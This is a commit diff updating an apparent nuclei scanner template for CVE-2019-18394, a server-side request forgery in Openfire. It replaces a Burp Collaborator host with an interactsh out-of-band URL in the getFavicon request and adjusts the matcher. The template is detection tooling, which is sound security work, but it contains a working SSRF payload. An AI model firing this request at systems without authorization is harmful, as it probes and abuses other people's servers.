Merge pull request #2091 from projectdiscovery/CVE-2019-18394-update
Updated payload + matcherpatch-1
commit
8f2edecdd4
|
@ -8,13 +8,15 @@ info:
|
|||
refrense: |
|
||||
- https://swarm.ptsecurity.com/openfire-admin-console/
|
||||
- https://github.com/igniterealtime/Openfire/pull/1497
|
||||
tags: cve,cve2019,ssrf
|
||||
tags: cve,cve2019,ssrf,openfire,oob
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
|
||||
- "{{BaseURL}}/getFavicon?host=http://{{interactsh-url}}"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- <h1>Burp Collaborator Server</h1>
|
||||
- "http"
|
Loading…
Reference in New Issue